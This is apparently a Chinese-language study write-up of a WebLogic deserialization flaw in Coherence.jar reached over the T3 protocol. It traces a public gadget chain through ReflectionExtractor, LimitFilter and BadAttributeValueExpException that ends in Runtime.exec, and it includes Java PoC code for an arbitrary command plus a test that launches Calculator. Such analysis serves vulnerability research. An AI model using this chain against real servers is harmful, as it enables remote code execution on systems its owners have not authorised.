前言
该洞主要是webloigc的coherence.jar存在可以构造反序列化的gadget类,通过T3协议处理后导致漏洞触发,本文主要是学习weblogicT3序列化,并构造利用链的过程。
利用链分析
通过网上公布的poc,得知利用链如下:
1 | gadget: |
poc1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{
"getRuntime", new Class[0]
}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{command}})
};
//初始化LimitFiler类实例
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
//将limitFilter放入BadAttributeValueExpException的val属性中
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
首先查看ReflectionExtractor.extract()方法:
1 | public E extract(T oTarget) { |
可以看到这里return了一个method.invoke(),进一步构造代码如下。
1 | Runtime runtime = Runtime.getRuntime(); |
可以利用该代码直接弹出cmd,ReflectionExtractor() 这个方法设置了method和invoke的方法。poc最开使得代码类似于CommonsCollections5的transform都是做了一个this.method的赋值。
但是只有触发extract()方法时,该反射调用的最终方法才会被执行。这里根据payload,进一步跟入,查看LimitFilter类的toString()方法
1 | public String toString() { |
这里可以看到在LimitFilter的toString()方法中之只要满足判断this.m_comparator的值属于ValueExtractor类就能进行对extract()方法的调用。而reflectionExtractor刚好属于ValueExtractor类
构造测试代码
1 | Runtime runtime = Runtime.getRuntime(); |
这里相当于执行了第一个测试代码的reflectionExtractor.extract(runtime);这里整个invoke反射链就完成了,接下来是如何进行readObject的。
这里可以看到这个BadAttributeValueExpException和CommonsCollections5使用的反序列化方法是一样的。
执行BadAttributeValueException.readObject前,把val赋值为LimitFilter这个类就回调用toString方法,而LimitFilter.toString()刚好形成之前的反射链。
1 | BadAttributeValueExpException expException = new BadAttributeValueExpException(null); |
BadAttributeValueException的readObject方法
1 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { |
至此整个反序列化完成1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17Runtime runtime = Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec",new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
// reflectionExtractor.extract(runtime);
LimitFilter limitFilter = new LimitFilter();
// 将reflectionExtractor赋值给this.m_comparator
limitFilter.setComparator(reflectionExtractor);
// 将runtime赋值给this.m_oAnchorTop
limitFilter.setTopAnchor(runtime);
// 这里相当于调用了ValueExtractor extractor = (ValueExtractor) reflectionExtractor
// extractor.extract(runtime)
// limitFilter.toString();
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
// 获取私有变量值val
Field val = expException.getClass().getDeclaredField("val");
// 设置访问标志为true使其可以访问私有变量
val.setAccessible(true);
val.set(expException, limitFilter);
使用此条链会出现如下报错是因为Runtime这个类没实现序列化接口。原理已经搞清楚了修改一下poc就可以利用了。